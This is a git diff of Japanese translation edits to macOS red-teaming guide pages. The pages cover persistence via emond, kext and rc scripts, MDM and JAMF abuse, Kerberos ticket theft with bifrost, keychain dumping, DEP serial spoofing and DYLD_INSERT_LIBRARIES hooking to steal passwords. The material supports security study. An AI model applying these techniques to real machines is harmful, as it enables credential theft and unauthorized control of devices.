+スタートアッププロセスがこれらを認識し利用できるように、rcスクリプトと`StartupParameters.plist`ファイルの両方が**StartupItem**ディレクトリ内に正しく配置されていることを確認してください。 {{#tabs}} {{#tab name="StartupParameters.plist"}} @@ -1490,11 +1490,11 @@ RunService "$1" ### ~~emond~~ > [!CAUTION] -> 私のmacOSではこのコンポーネントを見つけることができないので、詳細については記事を確認してください +> このコンポーネントは私のmacOSでは見つかりませんので、詳細については記事を確認してください。 記事: [https://theevilbit.github.io/beyond/beyond_0023/](https://theevilbit.github.io/beyond/beyond_0023/) -Appleによって導入された**emond**は、未発達または放棄された可能性のあるログ記録メカニズムですが、依然としてアクセス可能です。Mac管理者にとって特に有益ではありませんが、この不明瞭なサービスは、脅威アクターにとって微妙な持続性の手段となる可能性があり、ほとんどのmacOS管理者には気づかれないでしょう。 +Appleによって導入された**emond**は、未発達または放棄された可能性のあるログ記録メカニズムですが、依然としてアクセス可能です。Mac管理者にとって特に有益ではありませんが、この不明瞭なサービスは、脅威アクターにとって微妙な持続性の手段として機能する可能性があり、ほとんどのmacOS管理者には気づかれないでしょう。 その存在を知っている人にとって、**emond**の悪用を特定することは簡単です。このサービスのシステムのLaunchDaemonは、単一のディレクトリ内で実行するスクリプトを探します。これを調査するには、次のコマンドを使用できます: ```bash @@ -1517,18 +1517,18 @@ XQuartzは**macOSにもはやインストールされていません**ので、 ### ~~kext~~ > [!CAUTION] -> kextをインストールするのは非常に複雑で、ルートとしてもサンドボックスからの脱出や持続性のためには考慮しません(エクスプロイトがない限り) +> kextをインストールするのは非常に複雑で、ルートとしてもサンドボックスからの脱出や持続性のためには考慮しません(エクスプロイトがない限り)。 #### Location -KEXTをスタートアップアイテムとしてインストールするには、**次のいずれかの場所にインストールする必要があります**: +KEXTをスタートアップアイテムとしてインストールするには、**以下のいずれかの場所にインストールする必要があります**: - `/System/Library/Extensions` - OS Xオペレーティングシステムに組み込まれたKEXTファイル。 - `/Library/Extensions` - サードパーティソフトウェアによってインストールされたKEXTファイル -現在ロードされているkextファイルをリストするには、次のコマンドを使用できます: +現在読み込まれているkextファイルをリストするには、次のコマンドを使用できます: ```bash kextstat #List loaded kext kextload /path/to/kext.kext #Load a new one based on path @@ -1561,7 +1561,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0015/](https://theevilbit.g - **`/Library/Preferences/Xsan/.xsanrc`** - ルート権限が必要 -- **トリガー**: サービスが実行されるとき(稀) +- **トリガー**: サービスが実行されるとき(稀に) #### 説明と悪用 @@ -1571,7 +1571,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0015/](https://theevilbit.g > [!CAUTION] > **これは最新のMacOSバージョンでは機能しません** -ここに**起動時に実行されるコマンドを配置することも可能です。** 通常のrc.commonスクリプトの例: +ここに**起動時に実行されるコマンドを配置することも可能です。** 例として通常のrc.commonスクリプト: ```bash # # Common setup for startup scripts. diff --git a/src/macos-hardening/macos-red-teaming/README.md b/src/macos-hardening/macos-red-teaming/README.md index 3efb171ed..3ca16379a 100644 --- a/src/macos-hardening/macos-red-teaming/README.md +++ b/src/macos-hardening/macos-red-teaming/README.md @@ -15,15 +15,15 @@ MacOS環境でのレッドチーミングには、MDMの動作についての理 macos-mdm/ {{#endref}} -### MDMをC2として使用する +### C2としてのMDMの使用 -MDMは、プロファイルのインストール、クエリまたは削除、アプリケーションのインストール、ローカル管理者アカウントの作成、ファームウェアパスワードの設定、FileVaultキーの変更を行う権限を持っています... +MDMは、プロファイルのインストール、クエリ、削除、アプリケーションのインストール、ローカル管理者アカウントの作成、ファームウェアパスワードの設定、FileVaultキーの変更を行う権限を持っています... -独自のMDMを実行するには、**ベンダーによって署名されたCSRが必要**で、[**https://mdmcert.download/**](https://mdmcert.download/)から取得を試みることができます。また、Appleデバイス用の独自のMDMを実行するには、[**MicroMDM**](https://github.com/micromdm/micromdm)を使用できます。 +独自のMDMを運営するには、**ベンダーによって署名されたCSRが必要**で、[**https://mdmcert.download/**](https://mdmcert.download/)で取得を試みることができます。また、Appleデバイス用の独自のMDMを運営するには、[**MicroMDM**](https://github.com/micromdm/micromdm)を使用できます。 ただし、登録されたデバイスにアプリケーションをインストールするには、開発者アカウントによって署名されている必要があります... しかし、MDM登録時に**デバイスはMDMのSSL証明書を信頼されたCAとして追加**するため、今では何でも署名できます。 -デバイスをMDMに登録するには、**`mobileconfig`**ファイルをルートとしてインストールする必要があり、これは**pkg**ファイルを介して配布できます(zipで圧縮し、Safariからダウンロードすると解凍されます)。 +デバイスをMDMに登録するには、**`mobileconfig`**ファイルをルートとしてインストールする必要があり、これは**pkg**ファイルを介して配信できます(zipで圧縮し、Safariからダウンロードすると解凍されます)。 **Mythic agent Orthrus**はこの技術を使用しています。 @@ -48,7 +48,7 @@ JAMFは**カスタムスクリプト**(システム管理者によって開発 **`jamf`**バイナリには、キーチェーンを開くための秘密が含まれており、発見時には**誰もが共有**していました。それは:**`jk23ucnq91jfu9aj`**です。\ さらに、jamfは**`/Library/LaunchAgents/com.jamf.management.agent.plist`**に**LaunchDaemon**として**持続**します。 -#### JAMFデバイスタケオーバー +#### JAMFデバイスタ takeover **JSS**(Jamf Software Server)**URL**は、**`jamf`**が使用するもので、**`/Library/Preferences/com.jamfsoftware.jamf.plist`**にあります。\ このファイルには基本的にURLが含まれています: @@ -84,7 +84,7 @@ sudo jamf policy -id 0

a

-また、管理者がJamfを介して実行したい**カスタムスクリプト**のために、`/Library/Application Support/Jamf/tmp/`の場所を監視することもできます。これらのスクリプトは**ここに配置され、実行され、削除されます**。これらのスクリプトには**資格情報が含まれている可能性があります**。 +管理者がJamfを介して実行したい**カスタムスクリプト**を監視するために、`/Library/Application Support/Jamf/tmp/`の場所を監視することもできます。これらのスクリプトは**ここに配置され、実行され、削除されます**。これらのスクリプトには**資格情報が含まれている可能性があります**。 ただし、**資格情報**はこれらのスクリプトに**パラメータ**として渡される可能性があるため、`ps aux | grep -i jamf`を監視する必要があります(ルートでなくても)。 @@ -133,7 +133,7 @@ echo show com.apple.opendirectoryd.ActiveDirectory | scutil MacOSのユーザーには3種類があります: - **ローカルユーザー** — ローカルOpenDirectoryサービスによって管理され、Active Directoryとは一切接続されていません。 -- **ネットワークユーザー** — 認証のためにDCサーバーへの接続を必要とする揮発性のActive Directoryユーザーです。 +- **ネットワークユーザー** — DCサーバーに接続して認証を受ける必要がある揮発性のActive Directoryユーザーです。 - **モバイルユーザー** — 認証情報とファイルのローカルバックアップを持つActive Directoryユーザーです。 ユーザーとグループに関するローカル情報は、フォルダー _/var/db/dslocal/nodes/Default._ に保存されています。\ @@ -182,7 +182,7 @@ bifrost --action askhash --username [name] --password [password] --domain [domai bifrost --action asktgt --username [user] --domain [domain.com] \ --hash [hash] --enctype [enctype] --keytab [/path/to/keytab] ``` -TGTが収集されると、次のコマンドで現在のセッションに注入することが可能です: +TGTが収集されると、次のコマンドで現在のセッションに注入することができます: ```bash bifrost --action asktgt --username test_lab_admin \ --hash CF59D3256B62EE655F6430B0F80701EE05A0885B8B52E9C2480154AFA62E78 \ diff --git a/src/macos-hardening/macos-red-teaming/macos-keychain.md b/src/macos-hardening/macos-red-teaming/macos-keychain.md index ca0d084ed..c32d550ee 100644 --- a/src/macos-hardening/macos-red-teaming/macos-keychain.md +++ b/src/macos-hardening/macos-red-teaming/macos-keychain.md @@ -7,14 +7,14 @@ - **ユーザーキーチェーン** (`~/Library/Keychains/login.keychain-db`) は、アプリケーションパスワード、インターネットパスワード、ユーザー生成の証明書、ネットワークパスワード、ユーザー生成の公開/秘密鍵などの**ユーザー固有の資格情報**を保存するために使用されます。 - **システムキーチェーン** (`/Library/Keychains/System.keychain`) は、WiFiパスワード、システムルート証明書、システム秘密鍵、システムアプリケーションパスワードなどの**システム全体の資格情報**を保存します。 - `/System/Library/Keychains/*` には、証明書などの他のコンポーネントを見つけることができます。 -- **iOS** には、 `/private/var/Keychains/` にある1つの**キーチェーン**のみがあります。このフォルダーには、`TrustStore`、証明書機関(`caissuercache`)、およびOSCPエントリ(`ocspache`)のデータベースも含まれています。 -- アプリは、アプリケーション識別子に基づいてキーチェーン内のプライベートエリアにのみ制限されます。 +- **iOS** には、`/private/var/Keychains/` に1つの**キーチェーン**があります。このフォルダーには、`TrustStore`、証明書機関(`caissuercache`)、およびOSCPエントリ(`ocspache`)のデータベースも含まれています。 +- アプリは、アプリケーション識別子に基づいて、キーチェーン内のプライベートエリアにのみ制限されます。 -### パスワードキーチェーンアクセス +### Password Keychain Access -これらのファイルは固有の保護がなく、**ダウンロード**可能ですが、暗号化されており、**復号化するためにユーザーの平文パスワードが必要**です。復号化には、[**Chainbreaker**](https://github.com/n0fate/chainbreaker) のようなツールが使用できます。 +これらのファイルは固有の保護がなく、**ダウンロード**可能ですが、暗号化されており、**復号化するためにユーザーの平文パスワードが必要**です。[**Chainbreaker**](https://github.com/n0fate/chainbreaker) のようなツールを使用して復号化できます。 -## キーチェーンエントリの保護 +## Keychain Entries Protections ### ACLs @@ -26,7 +26,7 @@ ACLは、これらのアクションをプロンプトなしで実行できる**信頼されたアプリケーションのリスト**を伴います。これには以下が含まれます: -- **N`il`**(認証不要、**すべての人が信頼されている**) +- **N`il`**(認証不要、**全員が信頼されている**) - **空の**リスト(**誰も**信頼されていない) - **特定の**アプリケーションの**リスト**。 @@ -36,7 +36,7 @@ ACLは、これらのアクションをプロンプトなしで実行できる** - **apple**が指定されている場合、アプリは**Apple**によって**署名されている**必要があります。 - **cdhash**が示されている場合、**アプリ**は特定の**cdhash**を持っている必要があります。 -### キーチェーンエントリの作成 +### Creating a Keychain Entry **`Keychain Access.app`**を使用して**新しい**エントリが作成されると、以下のルールが適用されます: @@ -54,7 +54,7 @@ ACLは、これらのアクションをプロンプトなしで実行できる** - アプリはACLを変更できません。 - **partitionID**は**`teamid:[teamID here]`**に設定されます。 -## キーチェーンへのアクセス +## Accessing the Keychain ### `security` ```bash @@ -91,7 +91,7 @@ security dump-keychain ~/Library/Keychains/login.keychain-db 各エントリの**ACL**を取得: -- API **`SecAccessCopyACLList`**を使用すると、**キーチェーンアイテムのACL**を取得でき、各リストには以下が含まれます: +- API **`SecAccessCopyACLList`**を使用すると、**キーチェーンアイテムのACL**を取得でき、各リストには以下が含まれます(`ACLAuhtorizationExportClear`など、前述の他のもの): - 説明 - **信頼されたアプリケーションリスト**。これには以下が含まれる可能性があります: - アプリ: /Applications/Slack.app @@ -100,8 +100,8 @@ security dump-keychain ~/Library/Keychains/login.keychain-db データをエクスポート: -- API **`SecKeychainItemCopyContent`**はプレーンテキストを取得します -- API **`SecItemExport`**はキーと証明書をエクスポートしますが、コンテンツを暗号化してエクスポートするためにパスワードを設定する必要があるかもしれません +- API **`SecKeychainItemCopyContent`**はプレーンテキストを取得します。 +- API **`SecItemExport`**はキーと証明書をエクスポートしますが、コンテンツを暗号化してエクスポートするためにパスワードを設定する必要があるかもしれません。 そして、**プロンプトなしで秘密をエクスポートするための要件**は以下の通りです: @@ -121,7 +121,7 @@ security dump-keychain ~/Library/Keychains/login.keychain-db ### 2つの追加属性 -- **Invisible**: UIキーチェーンアプリからエントリを**隠す**ためのブールフラグです +- **Invisible**: エントリを**UI**キーチェーンアプリから**隠す**ためのブールフラグです - **General**: **メタデータ**を保存するためのもので(したがって、暗号化されていません) - Microsoftは、機密エンドポイントにアクセスするためのすべてのリフレッシュトークンをプレーンテキストで保存していました。 diff --git a/src/macos-hardening/macos-red-teaming/macos-mdm/README.md b/src/macos-hardening/macos-red-teaming/macos-mdm/README.md index 86e985c5a..7d40c1cdf 100644 --- a/src/macos-hardening/macos-red-teaming/macos-mdm/README.md +++ b/src/macos-hardening/macos-red-teaming/macos-mdm/README.md @@ -15,11 +15,11 @@ - デバイスの集中管理。 - MDMプロトコルに準拠したMDMサーバーへの依存。 -- MDMサーバーがデバイスにさまざまなコマンドを送信できる能力、例えば、リモートデータ消去や設定インストールなど。 +- MDMサーバーがデバイスにさまざまなコマンドを送信できる能力、例えば、リモートデータ消去や設定のインストールなど。 ### **DEP (デバイス登録プログラム) の基本** -Appleが提供する[デバイス登録プログラム](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP) は、iOS、macOS、tvOSデバイスのモバイルデバイス管理(MDM)を簡素化し、ゼロタッチ構成を可能にします。DEPは登録プロセスを自動化し、デバイスが箱から出してすぐに動作可能になり、最小限のユーザーまたは管理者の介入で済むようにします。重要な側面は以下の通りです: +Appleが提供する[デバイス登録プログラム](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP) は、iOS、macOS、tvOSデバイスのモバイルデバイス管理(MDM)を簡素化し、ゼロタッチ構成を可能にします。DEPは登録プロセスを自動化し、デバイスが箱から出してすぐに動作可能で、最小限のユーザーまたは管理者の介入で済むようにします。重要な側面は以下の通りです: - デバイスが初回起動時に事前定義されたMDMサーバーに自動的に登録されることを可能にします。 - 主に新しいデバイスに有益ですが、再構成中のデバイスにも適用可能です。 @@ -27,7 +27,7 @@ Appleが提供する[デバイス登録プログラム](https://www.apple.com/bu ### **セキュリティの考慮事項** -DEPによって提供される登録の容易さは有益ですが、セキュリティリスクをもたらす可能性があることに注意が必要です。MDM登録に対する保護措置が適切に施されていない場合、攻撃者はこの簡素化されたプロセスを利用して、自分のデバイスを組織のMDMサーバーに登録し、企業デバイスを装う可能性があります。 +DEPによって提供される登録の容易さは有益ですが、セキュリティリスクも伴うことに注意が必要です。MDM登録に対する保護措置が適切に施されていない場合、攻撃者はこの簡素化されたプロセスを利用して、自分のデバイスを組織のMDMサーバーに登録し、企業デバイスを装う可能性があります。 > [!CAUTION] > **セキュリティ警告**: 簡素化されたDEP登録は、適切な保護策が講じられていない場合、組織のMDMサーバーに対する不正なデバイス登録を許可する可能性があります。 @@ -35,11 +35,11 @@ DEPによって提供される登録の容易さは有益ですが、セキュ ### SCEP (シンプル証明書登録プロトコル) とは? - TLSやHTTPSが広まる前に作成された比較的古いプロトコルです。 -- クライアントが証明書を取得するために**証明書署名要求**(CSR)を送信する標準化された方法を提供します。クライアントはサーバーに署名された証明書を要求します。 +- クライアントが証明書を取得するために**証明書署名要求** (CSR) を送信する標準化された方法を提供します。クライアントはサーバーに署名された証明書を要求します。 -### 構成プロファイル(別名mobileconfigs)とは? +### 構成プロファイル (モバイル構成ファイル) とは? -- Appleの公式な**システム構成の設定/強制方法**です。 +- Appleによる**システム構成の設定/強制**の公式な方法です。 - 複数のペイロードを含むことができるファイル形式です。 - プロパティリスト(XML形式)に基づいています。 - 「その起源を検証し、整合性を確保し、内容を保護するために署名および暗号化できます。」 基本 — ページ70, iOSセキュリティガイド, 2018年1月。 @@ -48,18 +48,18 @@ DEPによって提供される登録の容易さは有益ですが、セキュ ### MDM -- APNs(**Appleサーバー**) + RESTful API(**MDM** **ベンダー**サーバー)の組み合わせ +- APNs (**Appleサーバー**) + RESTful API (**MDM** **ベンダー**サーバー) の組み合わせ - **通信**は**デバイス**と**デバイス管理製品**に関連するサーバーの間で行われます -- **コマンド**はMDMからデバイスに**plistエンコードされた辞書**で送信されます +- **コマンド**はMDMからデバイスに**plistエンコードされた辞書**で配信されます - すべて**HTTPS**経由です。MDMサーバーは(通常)ピン留めされます。 - AppleはMDMベンダーに**APNs証明書**を認証用に付与します ### DEP - **3つのAPI**: 1つはリセラー用、1つはMDMベンダー用、1つはデバイスID用(未文書): -- いわゆる[DEP "クラウドサービス" API](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf)。これはMDMサーバーが特定のデバイスにDEPプロファイルを関連付けるために使用されます。 +- いわゆる[DEP "クラウドサービス" API](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf)。これはMDMサーバーが特定のデバイスにDEPプロファイルを関連付けるために使用します。 - [Apple認定リセラーが使用するDEP API](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html)は、デバイスを登録し、登録状況を確認し、取引状況を確認します。 -- 未文書のプライベートDEP API。これはAppleデバイスが自分のDEPプロファイルを要求するために使用されます。macOSでは、`cloudconfigurationd`バイナリがこのAPIを介して通信する責任があります。 +- 未文書のプライベートDEP API。これはAppleデバイスが自分のDEPプロファイルを要求するために使用します。macOSでは、`cloudconfigurationd`バイナリがこのAPIを介して通信する責任があります。 - より現代的で**JSON**ベース(vs. plist) - AppleはMDMベンダーに**OAuthトークン**を付与します @@ -101,7 +101,7 @@ macos-serial-number.md ![](<../../../images/image (1044).png>) -または`sudo profiles show -type enrollment`を実行したとき。 +または`sudo profiles show -type enrollment`を実行したときに。 - **デバイスがDEP対応かどうかを判断** - アクティベーションレコードは**DEP「プロファイル」**の内部名です @@ -121,7 +121,7 @@ macos-serial-number.md 4. セッションを確立(**`NACKeyEstablishment`**) 5. リクエストを行う 1. POST [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile)にデータ`{ "action": "RequestProfileConfiguration", "sn": "" }`を送信 -2. JSONペイロードはAbsintheを使用して暗号化されます(**`NACSign`**) +2. JSONペイロードはAbsintheで暗号化されます(**`NACSign`**) 3. すべてのリクエストはHTTPs経由で行われ、組み込みのルート証明書が使用されます ![](<../../../images/image (566) (1).png>) diff --git a/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md b/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md index 5cb254ea0..4e7c79af1 100644 --- a/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md +++ b/src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md @@ -13,8 +13,8 @@ この研究は、macOS上のデバイス登録プログラム(DEP)およびモバイルデバイス管理(MDM)に関連するバイナリに深く掘り下げています。主要なコンポーネントは以下の通りです: -- **`mdmclient`**:MDMサーバーと通信し、macOSバージョン10.13.4以前でのDEPチェックインをトリガーします。 -- **`profiles`**:構成プロファイルを管理し、macOSバージョン10.13.4以降でのDEPチェックインをトリガーします。 +- **`mdmclient`**:MDMサーバーと通信し、macOSバージョン10.13.4以前でDEPチェックインをトリガーします。 +- **`profiles`**:構成プロファイルを管理し、macOSバージョン10.13.4以降でDEPチェックインをトリガーします。 - **`cloudconfigurationd`**:DEP API通信を管理し、デバイス登録プロファイルを取得します。 DEPチェックインは、プライベート構成プロファイルフレームワークからの`CPFetchActivationRecord`および`CPGetActivationRecord`関数を利用してアクティベーションレコードを取得し、`CPFetchActivationRecord`がXPCを介して`cloudconfigurationd`と調整します。 @@ -25,14 +25,14 @@ DEPチェックインは、`cloudconfigurationd`が暗号化された署名付 ## DEPリクエストのプロキシ -Charles Proxyのようなツールを使用して_iprofiles.apple.com_へのDEPリクエストを傍受し、変更しようとする試みは、ペイロードの暗号化とSSL/TLSセキュリティ対策によって妨げられました。しかし、`MCCloudConfigAcceptAnyHTTPSCertificate`構成を有効にすることで、サーバー証明書の検証をバイパスすることが可能ですが、ペイロードの暗号化された性質により、復号化キーなしでシリアル番号を変更することは依然として不可能です。 +Charles Proxyのようなツールを使用して_iprofiles.apple.com_へのDEPリクエストを傍受し、変更しようとする試みは、ペイロードの暗号化とSSL/TLSセキュリティ対策によって妨げられました。しかし、`MCCloudConfigAcceptAnyHTTPSCertificate`構成を有効にすることで、サーバー証明書の検証をバイパスすることができますが、ペイロードの暗号化された性質により、復号化キーなしでシリアル番号を変更することは依然として不可能です。 ## DEPと相互作用するシステムバイナリの計測 `cloudconfigurationd`のようなシステムバイナリを計測するには、macOSでシステム整合性保護(SIP)を無効にする必要があります。SIPが無効になっている場合、LLDBのようなツールを使用してシステムプロセスにアタッチし、DEP APIとの相互作用で使用されるシリアル番号を変更する可能性があります。この方法は、権限やコード署名の複雑さを回避できるため、好ましいです。 **バイナリ計測の悪用:** -`cloudconfigurationd`でJSONシリアル化の前にDEPリクエストペイロードを変更することが効果的であることが証明されました。このプロセスには以下が含まれます: +`cloudconfigurationd`でJSONシリアル化の前にDEPリクエストペイロードを変更することが効果的であることが証明されました。このプロセスは以下を含みます: 1. `cloudconfigurationd`にLLDBをアタッチします。 2. システムシリアル番号が取得されるポイントを特定します。 diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/README.md index 000fb2460..0f0f8a52e 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/README.md @@ -71,7 +71,7 @@ macos-security-protections/ - 使用されたファイルがユーザーが所有するディレクトリ内にある(ユーザーがファイルを作成できる) - 使用されたファイルがrootが所有するディレクトリ内にあるが、ユーザーがグループのために書き込みアクセスを持っている(ユーザーがファイルを作成できる) -**rootによって使用される**ファイルを**作成する**ことができると、ユーザーはその**内容を利用する**ことができたり、別の場所を指す**シンボリックリンク/ハードリンク**を作成することができます。 +**rootによって使用されるファイル**を**作成する**ことができると、ユーザーはその**内容を利用**したり、別の場所を指す**シンボリックリンク/ハードリンク**を作成したりすることができます。 この種の脆弱性については、**脆弱な`.pkg`インストーラーを確認することを忘れないでください**: @@ -89,17 +89,17 @@ macos-file-extension-apps.md ## macOS TCC / SIP特権昇格 -macOSでは、**アプリケーションとバイナリがフォルダーや設定にアクセスする権限を持つ**ことがあり、これにより他のものよりも特権が高くなります。 +macOSでは、**アプリケーションとバイナリがフォルダーや設定にアクセスする権限を持つ**ことがあり、これにより他のものよりも特権が与えられます。 -したがって、macOSマシンを成功裏に侵害したい攻撃者は、**TCC特権を昇格させる**必要があります(または、ニーズに応じて**SIPをバイパスする**必要があります)。 +したがって、macOSマシンを成功裏に侵害したい攻撃者は、**TCC特権を昇格させる**必要があります(または、ニーズに応じて**SIPをバイパス**する必要があります)。 -これらの特権は通常、アプリケーションが署名されている**権利**の形で与えられるか、アプリケーションがいくつかのアクセスを要求し、**ユーザーがそれらを承認した後**に**TCCデータベース**に見つけることができます。プロセスがこれらの特権を取得する別の方法は、**その特権を持つプロセスの子プロセス**であることです。これらは通常**継承されます**。 +これらの特権は通常、アプリケーションが署名されている**権利**の形で与えられるか、アプリケーションがいくつかのアクセスを要求し、**ユーザーがそれらを承認した後**に**TCCデータベース**に見つけることができます。プロセスがこれらの特権を取得する別の方法は、**その特権を持つプロセスの子プロセス**であることです。これらの特権は通常**継承されます**。 これらのリンクをたどって、[**TCCで特権を昇格させる**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses)、[**TCCをバイパスする**](macos-security-protections/macos-tcc/macos-tcc-bypasses/)方法や、過去に[**SIPがバイパスされた**](macos-security-protections/macos-sip.md#sip-bypasses)方法を見つけてください。 ## macOSの伝統的な特権昇格 -もちろん、レッドチームの視点からは、rootに昇格することにも興味があるはずです。以下の投稿をチェックして、いくつかのヒントを得てください: +もちろん、レッドチームの視点からは、rootに昇格することにも興味があるはずです。いくつかのヒントについては、以下の投稿を確認してください: {{#ref}} macos-privilege-escalation.md diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md index 9998bd2d0..1f3e8ae62 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md @@ -92,7 +92,7 @@ ObjectiveCでは、メソッドは次のように呼び出されます: **`[myCl ### 生のメソッドへのアクセス -次の例のように、メソッドの情報(名前、パラメータの数、アドレスなど)にアクセスすることが可能です: +次の例のように、メソッドの名前、パラメータの数、アドレスなどの情報にアクセスすることが可能です: ```objectivec // gcc -framework Foundation test.m -o test @@ -160,10 +160,10 @@ return 0; ``` ### メソッドスワッピングと method_exchangeImplementations -関数 **`method_exchangeImplementations`** は **一つの関数の実装のアドレスを他の関数に変更する** ことを可能にします。 +関数 **`method_exchangeImplementations`** は **一つの関数の実装のアドレスを他の関数に変更する**ことを可能にします。 > [!CAUTION] -> したがって、関数が呼び出されると **実行されるのは別の関数です**。 +> したがって、関数が呼び出されると、**実行されるのは別の関数です**。 ```objectivec //gcc -framework Foundation swizzle_str.m -o swizzle_str @@ -208,13 +208,13 @@ return 0; } ``` > [!WARNING] -> この場合、**正当な**メソッドの**実装コード**が**メソッド名**を**検証**すると、このスウィズリングを**検出**し、実行を防ぐことができます。 +> この場合、**正当な**メソッドの**実装コード**が**メソッド**の**名前**を**検証**すると、このスウィズリングを**検出**し、実行を防ぐことができます。 > > 次の技術にはこの制限はありません。 ### method_setImplementationによるメソッドスウィズリング -前の形式は奇妙です。なぜなら、2つのメソッドの実装を互いに変更しているからです。**`method_setImplementation`**関数を使用すると、**あるメソッドの実装を別のメソッドに変更**できます。 +前の形式は奇妙です。なぜなら、2つのメソッドの実装を互いに変更しているからです。**`method_setImplementation`**関数を使用すると、**他のメソッドのためにメソッドの**実装を**変更**できます。 新しい実装から元の実装を呼び出す予定がある場合は、上書きする前に**元の実装のアドレスを保存する**ことを忘れないでください。後でそのアドレスを見つけるのは非常に複雑になります。 ```objectivec @@ -272,11 +272,11 @@ return 0; このページでは、関数をフックするさまざまな方法について説明しました。しかし、これらは**攻撃のためにプロセス内でコードを実行する**ことを含んでいました。 -それを行うための最も簡単な技術は、[環境変数を介してDyldを注入するか、ハイジャックすること](../macos-dyld-hijacking-and-dyld_insert_libraries.md)です。しかし、これも[タスクポートを介したDylibプロセス注入](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port)によって行うことができると思います。 +そのために、最も簡単な技術は[環境変数を介してDyldを注入するか、ハイジャックすること](../macos-dyld-hijacking-and-dyld_insert_libraries.md)です。しかし、これは[ダイナミックライブラリプロセス注入](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port)を介しても行うことができると思います。 ただし、両方のオプションは**保護されていない**バイナリ/プロセスに**制限**されています。各技術を確認して、制限について詳しく学んでください。 -ただし、関数フッキング攻撃は非常に特定的であり、攻撃者は**プロセス内から機密情報を盗む**ためにこれを行います(そうでなければ、プロセス注入攻撃を行うだけです)。この機密情報は、MacPassなどのユーザーがダウンロードしたアプリに存在する可能性があります。 +ただし、関数フッキング攻撃は非常に特定のものであり、攻撃者は**プロセス内から機密情報を盗む**ためにこれを行います(そうでなければ、プロセス注入攻撃を行うだけです)。この機密情報は、MacPassなどのユーザーがダウンロードしたアプリに存在する可能性があります。 したがって、攻撃者のベクターは、脆弱性を見つけるか、アプリケーションの署名を剥がし、アプリケーションのInfo.plistを介して**`DYLD_INSERT_LIBRARIES`**環境変数を注入し、次のようなものを追加することになります: ```xml @@ -293,7 +293,7 @@ return 0; そのライブラリに情報を抽出するためのフックコードを追加します: パスワード、メッセージ... > [!CAUTION] -> 新しいバージョンのmacOSでは、アプリケーションバイナリの**署名を削除**し、以前に実行されていた場合、macOSは**アプリケーションを実行しなくなります**。 +> 新しいバージョンのmacOSでは、アプリケーションバイナリの**署名を削除**すると、以前に実行されていた場合、macOSは**アプリケーションを実行しなくなります**。 #### ライブラリの例 ```objectivec diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md index e1f226d9f..5035a8afd 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md @@ -4,13 +4,13 @@ ## 基本情報 -I/O Kitは、XNUカーネル内のオープンソースのオブジェクト指向**デバイスドライバーフレームワーク**であり、**動的にロードされるデバイスドライバー**を処理します。これにより、さまざまなハードウェアをサポートするために、モジュラーコードをカーネルにオンザフライで追加できます。 +I/O Kitは、XNUカーネル内のオープンソースのオブジェクト指向**デバイスドライバーフレームワーク**であり、**動的にロードされるデバイスドライバー**を処理します。これにより、さまざまなハードウェアをサポートするために、カーネルにモジュラーコードを動的に追加できます。 -IOKitドライバは基本的に**カーネルから関数をエクスポート**します。これらの関数パラメータの**型**は**事前定義されており**、検証されます。さらに、XPCと同様に、IOKitは**Machメッセージの上にある別のレイヤー**です。 +IOKitドライバーは基本的に**カーネルから関数をエクスポート**します。これらの関数パラメータの**型**は**事前定義**されており、検証されます。さらに、XPCと同様に、IOKitは**Machメッセージの上にある別のレイヤー**です。 -**IOKit XNUカーネルコード**は、Appleによってオープンソース化されており、[https://github.com/apple-oss-distributions/xnu/tree/main/iokit](https://github.com/apple-oss-distributions/xnu/tree/main/iokit)で入手できます。さらに、ユーザースペースのIOKitコンポーネントもオープンソースです[https://github.com/opensource-apple/IOKitUser](https://github.com/opensource-apple/IOKitUser)。 +**IOKit XNUカーネルコード**は、Appleによって[https://github.com/apple-oss-distributions/xnu/tree/main/iokit](https://github.com/apple-oss-distributions/xnu/tree/main/iokit)でオープンソース化されています。さらに、ユーザースペースのIOKitコンポーネントもオープンソースです[https://github.com/opensource-apple/IOKitUser](https://github.com/opensource-apple/IOKitUser)。 -ただし、**IOKitドライバは**オープンソースではありません。それでも、時折、ドライバのリリースにはデバッグを容易にするシンボルが付属することがあります。ファームウェアから[**ドライバ拡張を取得する方法はこちら**](./#ipsw)**を確認してください。** +しかし、**IOKitドライバーは**オープンソースではありません。とはいえ、時折、ドライバーのリリースにはデバッグを容易にするシンボルが付属することがあります。ファームウェアから[**ドライバー拡張を取得する方法はこちら**](./#ipsw)**を確認してください。** これは**C++**で書かれています。デマングルされたC++シンボルを取得するには、次のコマンドを使用できます: ```bash @@ -68,9 +68,9 @@ kextunload com.apple.iokit.IOReportFamily ``` ## IORegistry 